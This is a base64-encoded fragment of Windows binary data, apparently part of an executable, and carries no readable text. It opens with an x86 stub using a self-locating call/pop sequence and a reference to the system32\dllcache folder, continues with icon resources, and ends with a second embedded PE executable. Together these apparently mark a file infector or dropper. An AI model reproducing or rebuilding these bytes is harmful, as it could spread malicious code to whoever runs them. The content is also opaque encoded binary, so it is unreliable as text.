wwAAVABg6AAAAABd/LA4i62/8P//C+10L0tD6CwAAACL8Yff6CMAAACH32o4WDvxdxaKFDNS U8YEMwBTV//VC8BbWogUM3XSC8Bhw1cywDPJSfKuX/fRScMAACQAYOgAAAAAXegNAAAAdGVt MzJcZGxsY2FjAF+NdaLoZu7//2HDJMI2AEQqJMIkwnk9sYnUPdt7BEw+LScD9QMnDiWPLKgE m/UqV8cR4qf6ySDRS2DmMKStR1As2z1FAc57awCuk857znuT9nNePoQxEc8sMe47lDGExbu6 aEWjT5DOe897Q86ulTGEJoIjhDEiLXGHKkPG+4sxhCWuJnzOe84OvR68SPx7Me47lDGExbu6 YkWjT5DOe897Q8afizGEQ86ulTGEJsYjhDEawwAAJXMlMDhkAABhOlwAeAAAAAAAAAAAAAAA AQAAAAAAAAAAAAAAAAAAAEqiQAACAAAAAQIECAAAAACkAwAAYIJ5giEAAAAAAAAApt8AAAAA AAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+ AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAA QH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAA AAAaKkEAGipBAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAA hACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIA ggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAANzS QADM0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAA AAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEA AMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAACgAAAIwAAAD///// AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIAAABI1UAACAAAABzVQAAJAAAA8NRAAAoA AADM1EAAEAAAAKDUQAARAAAAcNRAABIAAABM1EAAEwAAACDUQAAYAAAA6NNAABkAAADA00AA GgAAAIjTQAAbAAAAUNNAABwAAAAo00AAeAAAABjTQAB5AAAACNNAAHoAAAD40kAA/AAAAPTS QAD/AAAA5NJAAAAAAAAAAAAAADtJAAAAAAAAO0kAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAA AAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACHEQAAhxEAAIcRAACHEQAAhxEAAIcRAAAAAAAAAAAAA+AMAAAAAAAAAAAAA AAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcA AAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAA DwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0A AABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAA DQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIA AAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAA pwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAwAAACAAAIAOAAAAQAAAgAAAAAAAAAAAAAAAAAAAAgABAAAA WAAAgAIAAABwAACAAAAAAAAAAAAAAAAAAAABAGUAAACIAACAAAAAAAAAAAAAAAAAAAABAAQI AACgAAAAAAAAAAAAAAAAAAAAAAABAAQIAACwAAAAAAAAAAAAAAAAAAAAAAABAAQIAADAAAAA 0FAJAOgCAAAAAAAAAAAAALhTCQAoAQAAAAAAAAAAAADgVAkAIgAAAAAAAAAAAAAAKAAAACAA AABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL8AAL8AAAC/vwC/AAAA vwC/AL+/AADAwMAAgICAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAd3gzqgAAAAAAAAAAAAAHf3d4M6p3gAAAAAAAAAAP9/d3eDOqd8hgAAAA AAAA//9/d3gzqnjGZgAAAAAAD///93d4OKd8hmZgAAAAAHf//393eDenjGZmdwAAAAeHf//3 93g3p8hmZ3dwAAAIeHf//3d4OqjGZnd34AAAh4eHf//3eDqshmd37u4AAHh4eHf/f3g6jGZ3 7u67AAeHh4eHf/d4Oshnfuu7uqAIeHh4eHf4iIjGfru7qqqgB4eHh4eHiAAAiLu6qqMzMAh4 eHh4eICP+AgzMzPd3dAIiIiIiIiA//8IXV1dXV1QBdXV1dXVgP//CIiIiIiIgA3d3TMzM4CP +AiHh4eHh4ADMzqqq7uIAACIeHh4eHhwCqqqu7vnbIiIj3eHh4eHgAqru77ndoyjh3/3eHh4 eHAAu+7ud2bIo4f3/3eHh4cAAO7ud3ZoyqOHf//3eHh4AAAOd3dmbIqjh3f//3eHgAAAB3d2 Zox6c4d/f//3eHAAAAB3ZmbIenOHd/f//3cAAAAABmZox3qDh3d////wAAAAAABmbIeqM4d3 9///AAAAAAAABox3qjOHd39/8AAAAAAAAAAId6ozh3f3cAAAAAAAAAAAAACqM4d3AAAAAAAA AAAAAAAAAAAAAAAAAAAAAP/wD///gAH//gAAf/wAAD/4AAAf8AAAD+AAAAfAAAADwAAAA4AA AAGAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAGAAAAB wAAAA8AAAAPgAAAH8AAAD/gAAB/8AAA//gAAf/+AAf//8A//KAAAABAAAAAgAAAAAQAEAAAA AADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAA wMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAACIc6gAAAAA/4hzLM YAAACPiHMsZoAACHj4csZoYACHh4hyxoqqAHh4dwCCqiIAh4eA/wERVQBVERD/CHh4ACKqKA CHh4cAqqhsJ4h4eAAGhmwnj4eAAAhmwjeI+IAAAGzCN4j/AAAAAIo3iAAAAAAAAAAAAAAPgf AADgBwAAwAMAAIABAACAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAEAAIABAADAAwAA 4AcAAPgfAAAAAAEAAgAgIBAAAQAEAOgCAAABABAQEAABAAQAKAEAAAIAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATVqQAAMA AAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA CAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAAC/iQpl++hkNvvoZDb76GQ2yMpBNvnoZDb76GQ2+uhkNvvoZTaq6WQ2 Act9NvboZDYByyQ2/OhkNiDKeTb46GQ2ActbNvroZDZsyyE2+uhkNiHLeDbo6GQ2Ict5Nmro ZDYBy1k2+uhkNlJpY2j76GQ2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBBAAy1YI7 AAAAAAAAAADgAA4hCwEHAABsBwAAigEAAAAAAMsYAAAAEAAAAEAHAAAAIHAAEAAAAAIAAAUA AQAFAAEABAAAAAAAAAAAUAkAAAQAAC5XCQACAAAAAAAEAAAQAAAAABAAABAAAAAAAAAQAAAA cBoAALQcAAA4YwcAoAAAAADgBwAwGwEAAAAAAAAAAAAAAAAAAAAAAAAACQDsRwAAKHsHADgA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAPQEAACUYAcA oAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAGBrBwAAEAAAAGwHAAAEAAAAAAAAAAAAAAAA AAAgAABgLmRhdGEAAACMXQAAAIAHAAAmAAAAcAcAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAA ACABAADgBwAAHAEAAJYHAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAOxHAAAAAAkAAEgAAACy CAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 